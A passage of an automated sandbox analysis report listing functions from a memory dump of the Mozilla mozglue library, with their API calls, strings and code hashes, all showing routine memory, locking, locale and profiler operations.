??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C989E0F
free.MOZGLUE(6C98946B,?,?), ref: 6C989E24
free.MOZGLUE(?,?,?), ref: 6C989E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C989EC8
free.MOZGLUE(6C98946B,?,?,?), ref: 6C989EDF
free.MOZGLUE(?,?,?,?), ref: 6C989EF5

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction ID: decafedb8745134e9055ee7e815ea09424198a12ba34ba7125bbde370fe31d71
Opcode Fuzzy Hash: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction Fuzzy Hash: 2A7190B090AB419BD712CF18C48055BF7F4FFA9315B459A1DE89A5BB02EB30F885CB91

Function 6C98DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C98DDCF

Part of subcall function 6C96FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C96FA4B

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE0D
free.MOZGLUE(00000000), ref: 6C98DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF32

Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DB86
Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF65
free.MOZGLUE(?), ref: 6C98DF80

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction ID: 8816c55d2c67a83e31728214590c5ac2899b4b17a61099b8d2cd0da76fc1a444
Opcode Fuzzy Hash: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction Fuzzy Hash: 0151B8737076029BD7119B18D8806AF7376BFA1318F96091ED45A53B01D731F919CBA2

Function 6C995D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DC9
std::_Facet_Register.LIBCPMT ref: 6C995DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E45

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction ID: 28f8c8ea6df71b3a95d732e9d8dfc918fc52ab01e9bd249d1c4436773c609d9f
Opcode Fuzzy Hash: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction Fuzzy Hash: B641C2747042049FCB00DFA5C8D8AAF77B9EF89319F584168E50A9B791EB35ED05CB60

Function 6C96CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9331A7), ref: 6C96CDDD

Strings

<jemalloc>, xrefs: 6C96CF9F, 6C96CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C96CFA4, 6C96CFB8

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction ID: 9331bcec9bf3b8643b0971cc5757e92d893381772475df7000a511b120baa072
Opcode Fuzzy Hash: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction Fuzzy Hash: 3A31C631B452056BFF11AEA68C85B6F7B79BB41B58F304015F614EBEC0DB70E8108BA5

Function 6C93ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C93ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C93EDCC
CreateFileW.KERNEL32 ref: 6C93EE08
free.MOZGLUE(00000000), ref: 6C93EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C93EE32

Part of subcall function 6C93EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C93EBB5
Part of subcall function 6C93EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C96D7F3), ref: 6C93EBC3
Part of subcall function 6C93EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C96D7F3), ref: 6C93EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C93EDC1

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction ID: ab620c2bbe906390e62d471695fb9b3fc020350b5e1b559a1af027dd80dfce44
Opcode Fuzzy Hash: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction Fuzzy Hash: 1751D271D052249BDB11DF68C8407EEB7B4AF69318F44942DE8596B780EB30ED48CBE2

Function 6C9AA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA565

Part of subcall function 6C9AA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9AA4BE
Part of subcall function 6C9AA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9AA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9AA6B6

Strings

z, xrefs: 6C9AA6AE
0, xrefs: 6C9AA5FB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction ID: 57411f8f47716a75bc33d3eefaa91fad1ead05e38c34480bf9555c6c66e5e94b
Opcode Fuzzy Hash: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction Fuzzy Hash: 304158719087459FC341CF28C080A9FBBE5BF99354F409A2EF49987650EB30D549CF82

Function 6C9378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9B008B), ref: 6C937B89
free.MOZGLUE(?,6C9B008B), ref: 6C937BAC

Part of subcall function 6C9378C0: free.MOZGLUE(?,6C9B008B), ref: 6C937BCF

free.MOZGLUE(?,6C9B008B), ref: 6C937BF2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction ID: 6ccdda1fd07d0bcf3cefe172495bdb57245071551c73d4a4f2f97522582ce33d
Opcode Fuzzy Hash: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction Fuzzy Hash: E6C19131E01139CBEB248B28CE90BADB772AF51314F1517A9D41EABBC1C731DE858B51

Function 6C979420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
__Init_thread_footer.LIBCMT ref: 6C97949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C97947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C979459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C97946B

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction ID: d2d034e9592182874186679e1f3a85df5f3346bedc6aa665abfa2cdbbcc5c37a
Opcode Fuzzy Hash: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction Fuzzy Hash: F1014C38A09110A7DF109BADD849A47337AEB4632CF150537DC0687F41E731D464897F

Function 6C980F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C980F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C980F88
GetCurrentThreadId.KERNEL32 ref: 6C980FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C981067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C98114B

Part of subcall function 6C978AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C991563), ref: 6C978BD5

free.MOZGLUE(?), ref: 6C981174
free.MOZGLUE(?), ref: 6C981186

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction ID: 8153524e2651add8a47989fa8f0a2e4623affa8550c60faa2c415882be28f6f5
Opcode Fuzzy Hash: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction Fuzzy Hash: 7D61DF75A0A3409BDB10CF24C880B9EB7F6BFE6308F14891DE89947712EB31E558CB81

Function 6C93B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6AC

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C93B61E), ref: 6C93B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B79A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction ID: 89506bbfd21903b5a8509e06276a9ff62c9b82d4951088476352c00dc65260f0
Opcode Fuzzy Hash: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction Fuzzy Hash: 8D41D6B2D005259FCB14DF68DC845AFB7B9FB54324F250629E82AE7B80D731E9058BD1

Function 6C93EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9B5104), ref: 6C93EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93EFEC
free.MOZGLUE(?), ref: 6C93F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C93F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93F065
moz_xmalloc.MOZGLUE ref: 6C93F072

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction ID: c2d06eff8c0be0fc9f1f969e694428258ad0893390b6618849be1b4d5164e231
Opcode Fuzzy Hash: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction Fuzzy Hash: 3A41D8B1A001169FCB08CF68DC809BE7769AF94318B244268E81ADB794EB71ED15C7E1

Function 6C9AB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9AB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AB5F4
__Init_thread_footer.LIBCMT ref: 6C9AB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9AB61F
std::_Facet_Register.LIBCPMT ref: 6C9AB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB655

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction ID: 47eaee494555714c75d387499752c85f94c2162a260e6d42b396443807413955
Opcode Fuzzy Hash: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction Fuzzy Hash: A031B379B04204DBCB00DFA9C8989AFB7B5FFDA328B250519D90297780DB34E906CB95

Function 6C949830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C997ABE), ref: 6C94985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C997ABE), ref: 6C9498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C949909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C949918
free.MOZGLUE(?), ref: 6C949975

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction ID: 5452b607f5b52eab8752f38dd01d99c65a0e3550fcca903aef9edc768ad94993
Opcode Fuzzy Hash: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction Fuzzy Hash: 40718B746047068FC725CF2CC580966B7F9FF4A3287258AADE85A8BB90D731F845CB91

Function 6C94B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE), ref: 6C94B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B896

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
